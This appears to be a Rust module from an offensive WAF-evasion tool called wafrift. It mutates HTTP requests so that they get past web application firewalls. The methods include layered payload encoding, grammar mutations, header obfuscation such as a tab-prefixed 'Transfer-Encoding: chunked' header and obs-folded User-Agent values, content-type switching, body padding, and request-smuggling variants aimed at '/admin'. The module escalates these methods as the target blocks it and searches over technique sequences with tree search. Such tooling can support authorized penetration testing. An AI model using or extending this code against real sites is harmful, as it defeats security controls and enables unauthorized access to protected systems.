use wafrift_content_type as content_type;
use wafrift_encoding::encoding;
use wafrift_encoding::header;
use wafrift_evolution::advisor::EvasionPlan;
use wafrift_fingerprint::fingerprint;
use wafrift_grammar::grammar;
use wafrift_smuggling::h2_evasion;
use wafrift_smuggling::smuggling;
use wafrift_types::{EvasionResult, Request, Technique};
use crate::mcts_bridge::WafRiftEnv;
use mctrust::{Environment, SearchConfig, TreeSearch};
pub use crate::host_state::HostState;
pub use wafrift_types::calibration::{
CALIBRATION_PAYLOADS, CalibrationResult, analyze_calibration, calibration_request,
};
pub use wafrift_types::config::EvasionConfig;
pub use wafrift_types::escalation::EscalationLevel;
fn parse_named_encoding(name: &str) -> Option<encoding::Strategy> {
let raw = name.strip_prefix("encoding:").unwrap_or(name);
encoding::all_strategies()
.into_iter()
.find(|strategy| strategy.as_str() == raw || format!("{strategy:?}") == raw)
}
fn current_winner(state: &HostState) -> Option<&str> {
if !state.has_winners() {
return None;
}
let idx = state.rotation_index % state.proven_winners.len();
state.proven_winners.get(idx).map(String::as_str)
}
fn apply_named_technique(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
state: &HostState,
technique_name: &str,
) -> bool {
if let Some(strategy) = parse_named_encoding(technique_name) {
apply_encoding(req, techniques, config, strategy);
return !techniques.is_empty();
}
if technique_name.starts_with("grammar:") {
let before = techniques.len();
apply_grammar_mutations(req, techniques, config);
return techniques.len() > before;
}
if technique_name.starts_with("content-type:") {
let before = techniques.len();
apply_content_type_switch(req, techniques, config, state);
return techniques.len() > before;
}
if technique_name.starts_with("header:") {
let before = techniques.len();
apply_header_obfuscation(req, techniques, config);
return techniques.len() > before;
}
if technique_name.starts_with("smuggling:") {
let before = techniques.len();
apply_smuggling_metadata(req, techniques, config, state);
return techniques.len() > before;
}
if technique_name.starts_with("h2:") {
let before = techniques.len();
apply_h2_metadata(req, techniques, config);
return techniques.len() > before;
}
false
}
#[must_use]
pub fn evade(request: &Request, state: &HostState, config: &EvasionConfig) -> EvasionResult {
let mut req = request.clone();
let mut techniques = Vec::new();
let level = state.escalation_level();
if let Some(winner_name) = current_winner(state)
&& apply_named_technique(&mut req, &mut techniques, config, state, winner_name)
{
let description = build_description(&techniques);
return EvasionResult::new(req, techniques, description);
}
if let Some(last_name) = state.last_success.as_ref().map(ToString::to_string)
&& apply_named_technique(&mut req, &mut techniques, config, state, &last_name)
{
let description = build_description(&techniques);
return EvasionResult::new(req, techniques, description);
}
for suggestion in state.suggested_techniques() {
if apply_named_technique(&mut req, &mut techniques, config, state, &suggestion) {
let description = build_description(&techniques);
return EvasionResult::new(req, techniques, description);
}
}
if config.fingerprint_rotation
&& let Some(profile) = fingerprint::random_profile()
{
fingerprint::apply_profile(&mut req.headers, profile);
techniques.push(Technique::UserAgentRotation);
}
match level {
EscalationLevel::None => {
}
EscalationLevel::Light => {
apply_encoding(
&mut req,
&mut techniques,
config,
encoding::Strategy::CaseAlternation,
);
apply_header_obfuscation(&mut req, &mut techniques, config);
}
EscalationLevel::Medium => {
apply_grammar_mutations(&mut req, &mut techniques, config);
apply_layered_encoding(&mut req, &mut techniques, config, state);
apply_header_obfuscation(&mut req, &mut techniques, config);
}
EscalationLevel::Heavy | _ => {
apply_grammar_mutations(&mut req, &mut techniques, config);
if let Some(strategy) = state.next_encoding() {
apply_encoding(&mut req, &mut techniques, config, strategy);
}
apply_content_type_switch(&mut req, &mut techniques, config, state);
apply_header_obfuscation(&mut req, &mut techniques, config);
apply_smuggling_metadata(&mut req, &mut techniques, config, state);
apply_h2_metadata(&mut req, &mut techniques, config);
}
}
apply_body_padding(&mut req, &mut techniques, config);
let description = build_description(&techniques);
EvasionResult::new(req, techniques, description)
}
#[must_use]
pub fn evade_mcts(
req: &wafrift_types::Request,
config: &EvasionConfig,
max_depth: usize,
) -> Option<EvasionResult> {
let req_clone = req.clone();
let env = WafRiftEnv::new(req_clone, max_depth);
let search_config = SearchConfig::builder()
.iterations(500)
.exploration_constant(1.414)
.max_depth(max_depth)
.build();
let mut search = TreeSearch::new(env, search_config);
search.run()?;
let sequence = search.principal_variation();
if sequence.is_empty() {
return None;
}
let mut result_env = WafRiftEnv::new(req.clone(), max_depth);
for action in &sequence {
result_env.apply(action);
}
build_mcts_result(result_env, config)
}
fn build_mcts_result(env: WafRiftEnv, config: &EvasionConfig) -> Option<EvasionResult> {
let mut techniques = env.applied_techniques;
if techniques.is_empty() {
return None;
}
techniques.retain(|t| {
match t {
Technique::PayloadEncoding(_) if !config.encoding_enabled => false,
Technique::GrammarMutation(_) if !config.grammar_mutations => false,
Technique::HeaderObfuscation(_) if !config.header_obfuscation => false,
Technique::ContentTypeSwitch(_) if !config.content_type_switching => false,
Technique::RequestSmuggling(_) if !config.smuggling_enabled => false,
Technique::H2Evasion(_) if !config.h2_evasion_enabled => false,
_ => true,
}
});
if techniques.is_empty() {
return None;
}
let description = build_description(&techniques);
Some(EvasionResult::new(env.req, techniques, description))
}
#[must_use]
pub fn evade_smart(request: &Request, state: &HostState, config: &EvasionConfig) -> EvasionResult {
if state.blocks == 0 {
return evade(request, state, config);
}
let depth = (state.blocks as usize / 2).clamp(2, 5);
if let Some(mcts_result) = evade_mcts(request, config, depth) {
return mcts_result;
}
evade(request, state, config)
}
#[must_use]
pub fn evade_adaptive(
request: &Request,
config: &EvasionConfig,
plan: &EvasionPlan,
state: &HostState,
) -> EvasionResult {
let mut req = request.clone();
let mut techniques = Vec::new();
if config.fingerprint_rotation
&& let Some(profile) = fingerprint::random_profile()
{
fingerprint::apply_profile(&mut req.headers, profile);
techniques.push(Technique::UserAgentRotation);
}
if plan.use_grammar {
apply_grammar_mutations(&mut req, &mut techniques, config);
}
const MAX_ENCODING_DEPTH: usize = 3;
let encoding_count = plan.encoding_strategies.len().min(MAX_ENCODING_DEPTH);
for i in 0..encoding_count {
let strategy = plan.encoding_strategies[i];
if let Some(ref body) = req.body
&& is_text_payload(&req)
&& let Ok(encoded) = encoding::encode(body.as_slice(), strategy)
{
req.body = Some(encoded.into_bytes());
techniques.push(Technique::PayloadEncoding(strategy.as_str().to_string()));
}
}
if plan.use_header_obfuscation {
apply_header_obfuscation(&mut req, &mut techniques, config);
}
if plan.use_content_type_switch {
apply_content_type_switch(&mut req, &mut techniques, config, state);
}
if plan.use_smuggling {
apply_smuggling_metadata(&mut req, &mut techniques, config, state);
}
if plan.use_h2 {
apply_h2_metadata(&mut req, &mut techniques, config);
}
let description = build_description(&techniques);
EvasionResult::new(req, techniques, description)
}
pub type WafResponse<'a> = (u16, &'a [(String, String)], &'a [u8]);
#[must_use]
pub fn evade_intelligent<'a>(
request: &Request,
config: &EvasionConfig,
waf_response: Option<WafResponse<'a>>,
max_depth: usize,
state: &HostState,
) -> EvasionResult {
use wafrift_detect::waf_detect;
use wafrift_evolution::advisor;
let detected_wafs =
waf_response.map(|(status, headers, body)| waf_detect::detect(status, headers, body));
let top_waf = detected_wafs.as_ref().and_then(|vec| vec.first());
let plan = advisor::advise(top_waf, None);
if let Some(mcts_result) = evade_mcts(request, config, max_depth) {
return mcts_result;
}
evade_adaptive(request, config, &plan, state)
}
fn apply_body_padding(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
) {
use wafrift_evolution::body_padding::{pad, PadOutcome, MIN_USEFUL_PAD};
if config.body_padding_bytes < MIN_USEFUL_PAD {
return;
}
let ct = req
.headers
.iter()
.find(|(k, _)| k.eq_ignore_ascii_case("content-type"))
.map(|(_, v)| v.clone())
.unwrap_or_else(|| "application/octet-stream".to_string());
let original = req.body.clone().unwrap_or_default();
if let PadOutcome::Padded { bytes, added } = pad(&original, &ct, config.body_padding_bytes) {
req.body = Some(bytes);
techniques.push(Technique::BodyPadding(added));
}
}
fn apply_encoding(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
strategy: encoding::Strategy,
) {
if !config.encoding_enabled || !is_text_payload(req) {
return;
}
if let Some(ref body) = req.body
&& let Ok(encoded) = encoding::encode(body.as_slice(), strategy)
{
req.body = Some(encoded.into_bytes());
techniques.push(Technique::PayloadEncoding(strategy.as_str().to_string()));
}
}
fn apply_layered_encoding(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
state: &HostState,
) {
if !config.encoding_enabled || !is_text_payload(req) {
return;
}
let Some(ref body) = req.body else { return };
let body_str = String::from_utf8_lossy(body);
let pairs: Vec<(String, String)> = body_str
.split('&')
.filter_map(|pair| {
let mut parts = pair.splitn(2, '=');
let key = parts.next()?.to_string();
let value = parts.next()?.to_string();
if key.is_empty() {
None
} else {
Some((key, value))
}
})
.collect();
if pairs.is_empty() {
return;
}
let Some(strategy) = state.next_encoding() else {
return;
};
let mut any_value_changed = false;
let encoded_pairs: Vec<(String, String)> = pairs
.iter()
.map(|(k, v)| {
let encoded = encoding::encode(v, strategy).unwrap_or_else(|_| v.clone());
if encoded != *v {
any_value_changed = true;
}
(k.clone(), encoded)
})
.collect();
if any_value_changed {
techniques.push(Technique::PayloadEncoding(strategy.as_str().to_string()));
let encoded_body: String = encoded_pairs
.iter()
.map(|(k, v)| format!("{k}={v}"))
.collect::<Vec<_>>()
.join("&");
req.body = Some(encoded_body.into_bytes());
}
if config.content_type_switching {
let variants = content_type::generate_variants(&pairs);
if let Some(variant) = variants
.into_iter()
.find(|v| !state.tried_content_types.contains(&v.technique))
{
req.headers
.retain(|(k, _)| !k.eq_ignore_ascii_case("content-type"));
req.headers
.push(("Content-Type".into(), variant.content_type));
req.body = Some(variant.body);
techniques.push(Technique::ContentTypeSwitch(format!(
"{:?}",
variant.technique
)));
}
}
}
fn apply_grammar_mutations(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
) {
if !config.grammar_mutations {
return;
}
let Some(ref body) = req.body else { return };
let body_str = match std::str::from_utf8(body) {
Ok(s) => s,
Err(_) => return,
};
let pairs: Vec<(&str, &str)> = body_str
.split('&')
.filter_map(|pair| {
let (key, value) = pair.split_once('=')?;
Some((key, value))
})
.collect();
if pairs.is_empty() {
if let Some(mutation) = grammar::mutate(body_str, 5).into_iter().next() {
let mutation_type = format!("{:?}", mutation.payload_type);
req.body = Some(mutation.payload.into_bytes());
techniques.push(Technique::GrammarMutation(mutation_type));
}
return;
}
let mut mutated = false;
let new_body: String = pairs
.iter()
.map(|(key, value)| {
if let Some(mutation) = grammar::mutate(value, 3).into_iter().next() {
mutated = true;
format!("{}={}", key, mutation.payload)
} else {
format!("{key}={value}")
}
})
.collect::<Vec<_>>()
.join("&");
if mutated {
let detect_body = pairs.iter().map(|(_, v)| *v).collect::<Vec<_>>().join(" ");
let mutation_type = format!("{:?}", grammar::classify(&detect_body));
req.body = Some(new_body.into_bytes());
techniques.push(Technique::GrammarMutation(mutation_type));
}
}
fn apply_header_obfuscation(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
) {
if !config.header_obfuscation {
return;
}
if let Some(ct_idx) = req
.headers
.iter()
.position(|(k, _)| k.eq_ignore_ascii_case("content-type"))
{
let (_, value) = &req.headers[ct_idx];
let mixed_name = header::case_mix("Content-Type");
let value_clone = value.clone();
req.headers[ct_idx] = (mixed_name, value_clone);
techniques.push(Technique::HeaderObfuscation("CaseMixing".into()));
}
let has_connection = req
.headers
.iter()
.any(|(k, _)| k.eq_ignore_ascii_case("connection"));
if has_connection {
req.headers
.push(("Connection".into(), "keep-alive, close".into()));
techniques.push(Technique::HeaderObfuscation("DuplicateHopByHop".into()));
}
let has_te = req
.headers
.iter()
.any(|(k, _)| k.eq_ignore_ascii_case("transfer-encoding"));
if !has_te {
req.headers
.push(("Transfer-Encoding".into(), "\tchunked".into()));
techniques.push(Technique::HeaderObfuscation("TEAmbiguity".into()));
}
if let Some(ua_idx) = req
.headers
.iter()
.position(|(k, _)| k.eq_ignore_ascii_case("user-agent"))
{
let (_, value) = &req.headers[ua_idx];
if value.len() > 20 && !value.contains('\n') {
let fold_pos = value.len() / 2;
let folded = format!("{}\r\n {}", &value[..fold_pos], &value[fold_pos..]);
req.headers[ua_idx] = ("User-Agent".into(), folded);
techniques.push(Technique::HeaderObfuscation("ObsFold".into()));
}
}
}
fn apply_content_type_switch(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
state: &HostState,
) {
if !config.content_type_switching {
return;
}
let Some(ref body) = req.body else { return };
let variants = content_type::generate_variants_from_body(body);
if let Some(variant) = variants
.into_iter()
.find(|v| !state.tried_content_types.contains(&v.technique))
{
req.headers
.retain(|(k, _)| !k.eq_ignore_ascii_case("content-type"));
req.headers
.push(("Content-Type".into(), variant.content_type));
req.body = Some(variant.body);
techniques.push(Technique::ContentTypeSwitch(format!(
"{:?}",
variant.technique
)));
}
}
fn apply_smuggling_metadata(
req: &mut Request,
techniques: &mut Vec<Technique>,
config: &EvasionConfig,
state: &HostState,
) {
if !config.smuggling_enabled {
return;
}
let host = req
.url
.trim_start_matches("https://")
.trim_start_matches("http://")
.split('/')
.next()
.unwrap_or("target")
.split(':')
.next()
.unwrap_or("target");
let smuggle = match state.blocks % 4 {
0 => smuggling::cl_te(host, "GET /admin HTTP/1.1\r\n"),
1 => smuggling::te_cl(host, "GET /admin HTTP/1.1\r\n"),
2 => smuggling::te_te(host, "GET /admin HTTP/1.1\r\n", state.blocks as usize),
_ => smuggling::cl_zero(host, "GET /admin HTTP/1.1\r\n"),
};
req.headers.push((
"X-Wafrift-Smuggle-Variant".into(),
format!("{:?}", smuggle.variant),
));
req.headers.push((
"X-Wafrift-Smuggle-Description".into(),
smuggle.description.clone(),
));
if state.blocks % 2 == 1 {
req.headers.push((
"X-Wafrift-H2-Downgrade".into(),
"attempt http/2 cleartext upgrade tunnel".into(),
));
}
techniques.push(Technique::RequestSmuggling(format!(
"{:?}",
smuggle.variant
)));
}
fn apply_h2_metadata(req: &mut Request, techniques: &mut Vec<Technique>, config: &EvasionConfig) {
if !config.h2_evasion_enabled {
return;
}
let h2_techniques = h2_evasion::mixed_case_headers();
if let Some(first) = h2_techniques.first() {
req.headers.push((
"X-Wafrift-H2-Technique".into(),
first.description.to_string(),
));
techniques.push(Technique::H2Evasion("MixedCaseHeaders".into()));
}
}
fn build_description(techniques: &[Technique]) -> String {
if techniques.is_empty() {
"No evasion applied".into()
} else {
format!(
"Applied {} technique(s): {}",
techniques.len(),
techniques
.iter()
.map(ToString::to_string)
.collect::<Vec<_>>()
.join(", ")
)
}
}
pub(crate) fn is_text_payload(req: &Request) -> bool {
if req.body.is_none() {
return false;
}
let Some((_, ctype)) = req
.headers
.iter()
.find(|(k, _)| k.eq_ignore_ascii_case("content-type"))
else {
let body = req.body.as_ref().expect("body exists");
return std::str::from_utf8(body).is_ok();
};
let c = ctype.to_ascii_lowercase();
c.starts_with("text/")
|| c.starts_with("application/json")
|| c.starts_with("application/x-www-form-urlencoded")
|| c.starts_with("application/xml")
}
#[cfg(test)]
#[path = "strategy_tests.rs"]
mod tests;